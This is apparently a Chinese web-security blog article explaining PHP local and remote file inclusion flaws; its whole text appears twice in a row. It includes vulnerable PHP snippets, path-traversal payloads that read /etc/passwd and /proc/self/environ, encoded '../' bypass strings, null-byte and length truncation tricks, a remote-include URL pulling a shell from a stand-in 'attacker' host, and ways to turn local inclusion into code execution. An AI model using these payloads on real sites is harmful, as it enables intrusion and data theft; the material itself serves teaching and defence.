web安全————PHP安全之檔案包含漏洞
阿新 • • 發佈:2018-12-23
PHP安全問題
PHP由於靈活的語法成為目前非常流行的WEB開發語言,應用非常廣泛。也是由於這個特點讓PHP給安全工作帶來了一些困擾。下面討論PHP自身的語言問題。
檔案包含漏洞:
檔案包含漏洞也是程式碼注入的一種,程式碼注入的原理是注入一段使用者能夠控制執行的指令碼或程式碼,並讓伺服器端執行。程式碼注入的典型代表就是檔案包含(file inclusion).這種檔案包含漏洞可能出現在JSP、PHP、ASP等語言中,常見檔案包含函式如下:
PHP:include(), include_once(), require(), re-quire_once(), fopen(), readfile(), ...
JSP/Servlet:ava.io.File(), java.io.Fil-eReader(), ...
ASP:include file, include virtual, ...
在PHP中,主要由以下四個函式完成:
include()、require()、include_once()、require_once()。當使用這四個函式包含新檔案時,PHP核心並不會在意被包含的檔案是什麼型別都將視為PHP程式碼執行。
要想成功的利用檔案包含漏洞需要滿足下面兩個條件:
1,include()等函式通過動態變數的方式引入需要包含的檔案
2,使用者能夠控制該變數
檔案包含漏洞之本地檔案包含
本地檔案包含漏洞是指能夠開啟幷包含本地檔案的漏洞(local file include),如
<?php
$file = $_GET['file']; // "../../etc/passwd
\0"
if (file_exists('/home/wwwrun/'.
$file.'.php')) {
// file_exists will return true as the
file /home/wwwrun/../../etc/passwd exists
include '/home/wwwrun/'.$file.'.php';
// the file /etc/passwd will be included
}
?>
當然,這時將變數與字串連線起來需要用到00截斷技巧,有時開發者禁用掉0位元組,如:
<?php
function getVar($name)
{
$value = isset($_GET[$name]) ?
$_GET[$name] : null;
if (is_string($value)) {
$value = str_replace("\0", '',
$value);
}
}
?>
但是這樣並沒有解決所有問題,安全研究者cloie發現一種技巧:利用作業系統對目錄最大長度限制,如windows下是256位元組、linux下是4096位元組,達到最大值長度後,其後的字串將會被丟棄。構造方式可以是./././././././././././abc、//////////////abc、../1/abc/../1/abc/../1/abc/../1/abc/
除include()等4個函式外,PHP中能夠對檔案進行操作的函式都有可能出現漏洞,雖然大多數不能執行PHP程式碼,但是可以讀取到敏感檔案如fopen()、fread()函式
檔案包含漏洞能夠讀取敏感檔案或者服務端指令碼的原始碼,從而為攻擊者實施進一步攻擊奠定基礎。如目錄遍歷(path traversal),可以通過不同的編碼方式進行繞過服務端邏輯:
%2e%2e%2f等同於../
%2e%2e/等同於../
..%2f等同於../
%2e%2e%5c等同於..\
%2e%2e\等同於..\
..%5c等同於..\
%252e%252e%255c等同於..\
..%255c等同於..\ and so on.
某些Web容器支援的編碼方式:
..%c0%af等同於../
..%c1%9c等同於..\
目錄遍歷漏洞是一種跨越目錄讀取檔案的方法,但是PHP配置open_basedir時,該攻擊方式無效,需要注意的是open_basedir的值是目錄的字首,如限定一個指定的目錄,則需要在最後加上“/”
檔案包含漏洞之遠端檔案包含
如果PHP的配置選項allow_url_include為On的話,則include/require函式是可以載入遠端檔案的,這種漏洞被稱為遠端檔案包含漏洞:
<?php
if ($route == "share") {
require_once $basePath . '/action/
m_share.php';
} elseif ($route == "sharelink") {
require_once $basePath . '/action/
m_sharelink.php';
}
?>
在變數$basePath前沒有設定任何障礙,因此攻擊者可以構造如下URL攻擊:
/?param=http://attacker/phpshell.txt? 最終載入的程式碼實際執行了:
require_once 'http://attacker/phpshell.txt?/
action/m_share.php';
問號後面的程式碼被解釋成URL的querys-string,也是一種截斷,同樣可以使用%00截斷。遠端檔案包含漏洞可以直接用來執行任意命令。
附加上本地檔案包含的利用技巧:
遠端檔案包含漏洞之所以能夠執行命令,就是因為攻擊者能夠自定義被包含的檔案內容。因此本地檔案包含漏洞想要執行命令,也需要找到一個攻擊者能夠控制內容的本地檔案。經過不懈的研究,安全研究者總結出了以下幾種常見的技巧,用於本地檔案包含後執行PHP程式碼。
(1)包含使用者上傳的檔案。
(2)包含data://或php://input等偽協議。
(3)包含Session檔案。
(4)包含日誌檔案,比如Web Server的ac-cess log。
(5)包含/proc/self/environ檔案。
(6)包含上傳的臨時檔案(RFC1867)。
(7)包含其他應用建立的檔案,比如資料庫檔案、快取檔案、應用日誌等,需要具體情況具體分析。
包含使用者上傳的檔案很好理解,這也是最簡單的一種方法。使用者上傳的檔案內容中如果包含了PHP程式碼,那麼這些程式碼被include() 載入後將會執行。
但包含使用者上傳檔案能否攻擊成功,取決於檔案上傳功能的設計,比如要求知道使用者上傳後文件所在的物理路徑,有時這個路徑很難猜到。
包含/proc/self/environ是一種更為通用的方法,因為它根本不需要猜測被包含檔案的路徑,同時使用者也能控制它的內容。
http://www.website.com/view.php?
page=../../../../../proc/self/environ
包含/proc/self/environ檔案,可能看到如下內容:
DOCUMENT_ROOT=/home/sirgod/public_html
GATEWAY_INTERFACE=CGI/1.1 HTTP_ACCEPT=text/
PHP處理上傳檔案的過程
PHP會為上傳檔案建立臨時檔案,其目錄在php.ini的upload_tmp_dir中定義。但該值預設為空,此時在Linux下會使用/tmp目錄,在Win-dows下會使用C:\windows\temp目錄。
該臨時檔案的檔名是隨機的,攻擊者必須準確猜測出該檔名才能成功利用漏洞。PHP在此處並沒有使用安全的隨機函式,因此使得暴力猜解檔名成為可能。在Windows下,僅有65535種不同的檔名。
PHP由於靈活的語法成為目前非常流行的WEB開發語言,應用非常廣泛。也是由於這個特點讓PHP給安全工作帶來了一些困擾。下面討論PHP自身的語言問題。
檔案包含漏洞:
檔案包含漏洞也是程式碼注入的一種,程式碼注入的原理是注入一段使用者能夠控制執行的指令碼或程式碼,並讓伺服器端執行。程式碼注入的典型代表就是檔案包含(file inclusion).這種檔案包含漏洞可能出現在JSP、PHP、ASP等語言中,常見檔案包含函式如下:
PHP:include(), include_once(), require(), re-quire_once(), fopen(), readfile(), ...
JSP/Servlet:ava.io.File(), java.io.Fil-eReader(), ...
ASP:include file, include virtual, ...
在PHP中,主要由以下四個函式完成:
include()、require()、include_once()、require_once()。當使用這四個函式包含新檔案時,PHP核心並不會在意被包含的檔案是什麼型別都將視為PHP程式碼執行。
要想成功的利用檔案包含漏洞需要滿足下面兩個條件:
1,include()等函式通過動態變數的方式引入需要包含的檔案
2,使用者能夠控制該變數
檔案包含漏洞之本地檔案包含
本地檔案包含漏洞是指能夠開啟幷包含本地檔案的漏洞(local file include),如
<?php
$file = $_GET['file']; // "../../etc/passwd
\0"
if (file_exists('/home/wwwrun/'.
$file.'.php')) {
// file_exists will return true as the
file /home/wwwrun/../../etc/passwd exists
include '/home/wwwrun/'.$file.'.php';
// the file /etc/passwd will be included
}
?>
當然,這時將變數與字串連線起來需要用到00截斷技巧,有時開發者禁用掉0位元組,如:
<?php
function getVar($name)
{
$value = isset($_GET[$name]) ?
$_GET[$name] : null;
if (is_string($value)) {
$value = str_replace("\0", '',
$value);
}
}
?>
但是這樣並沒有解決所有問題,安全研究者cloie發現一種技巧:利用作業系統對目錄最大長度限制,如windows下是256位元組、linux下是4096位元組,達到最大值長度後,其後的字串將會被丟棄。構造方式可以是./././././././././././abc、//////////////abc、../1/abc/../1/abc/../1/abc/../1/abc/
除include()等4個函式外,PHP中能夠對檔案進行操作的函式都有可能出現漏洞,雖然大多數不能執行PHP程式碼,但是可以讀取到敏感檔案如fopen()、fread()函式
檔案包含漏洞能夠讀取敏感檔案或者服務端指令碼的原始碼,從而為攻擊者實施進一步攻擊奠定基礎。如目錄遍歷(path traversal),可以通過不同的編碼方式進行繞過服務端邏輯:
%2e%2e%2f等同於../
%2e%2e/等同於../
..%2f等同於../
%2e%2e%5c等同於..\
%2e%2e\等同於..\
..%5c等同於..\
%252e%252e%255c等同於..\
..%255c等同於..\ and so on.
某些Web容器支援的編碼方式:
..%c0%af等同於../
..%c1%9c等同於..\
目錄遍歷漏洞是一種跨越目錄讀取檔案的方法,但是PHP配置open_basedir時,該攻擊方式無效,需要注意的是open_basedir的值是目錄的字首,如限定一個指定的目錄,則需要在最後加上“/”
檔案包含漏洞之遠端檔案包含
如果PHP的配置選項allow_url_include為On的話,則include/require函式是可以載入遠端檔案的,這種漏洞被稱為遠端檔案包含漏洞:
<?php
if ($route == "share") {
require_once $basePath . '/action/
m_share.php';
} elseif ($route == "sharelink") {
require_once $basePath . '/action/
m_sharelink.php';
}
?>
在變數$basePath前沒有設定任何障礙,因此攻擊者可以構造如下URL攻擊:
/?param=http://attacker/phpshell.txt? 最終載入的程式碼實際執行了:
require_once 'http://attacker/phpshell.txt?/
action/m_share.php';
問號後面的程式碼被解釋成URL的querys-string,也是一種截斷,同樣可以使用%00截斷。遠端檔案包含漏洞可以直接用來執行任意命令。
附加上本地檔案包含的利用技巧:
遠端檔案包含漏洞之所以能夠執行命令,就是因為攻擊者能夠自定義被包含的檔案內容。因此本地檔案包含漏洞想要執行命令,也需要找到一個攻擊者能夠控制內容的本地檔案。經過不懈的研究,安全研究者總結出了以下幾種常見的技巧,用於本地檔案包含後執行PHP程式碼。
(1)包含使用者上傳的檔案。
(2)包含data://或php://input等偽協議。
(3)包含Session檔案。
(4)包含日誌檔案,比如Web Server的ac-cess log。
(5)包含/proc/self/environ檔案。
(6)包含上傳的臨時檔案(RFC1867)。
(7)包含其他應用建立的檔案,比如資料庫檔案、快取檔案、應用日誌等,需要具體情況具體分析。
包含使用者上傳的檔案很好理解,這也是最簡單的一種方法。使用者上傳的檔案內容中如果包含了PHP程式碼,那麼這些程式碼被include() 載入後將會執行。
但包含使用者上傳檔案能否攻擊成功,取決於檔案上傳功能的設計,比如要求知道使用者上傳後文件所在的物理路徑,有時這個路徑很難猜到。
包含/proc/self/environ是一種更為通用的方法,因為它根本不需要猜測被包含檔案的路徑,同時使用者也能控制它的內容。
http://www.website.com/view.php?
page=../../../../../proc/self/environ
包含/proc/self/environ檔案,可能看到如下內容:
DOCUMENT_ROOT=/home/sirgod/public_html
GATEWAY_INTERFACE=CGI/1.1 HTTP_ACCEPT=text/
PHP處理上傳檔案的過程
PHP會為上傳檔案建立臨時檔案,其目錄在php.ini的upload_tmp_dir中定義。但該值預設為空,此時在Linux下會使用/tmp目錄,在Win-dows下會使用C:\windows\temp目錄。
該臨時檔案的檔名是隨機的,攻擊者必須準確猜測出該檔名才能成功利用漏洞。PHP在此處並沒有使用安全的隨機函式,因此使得暴力猜解檔名成為可能。在Windows下,僅有65535種不同的檔名。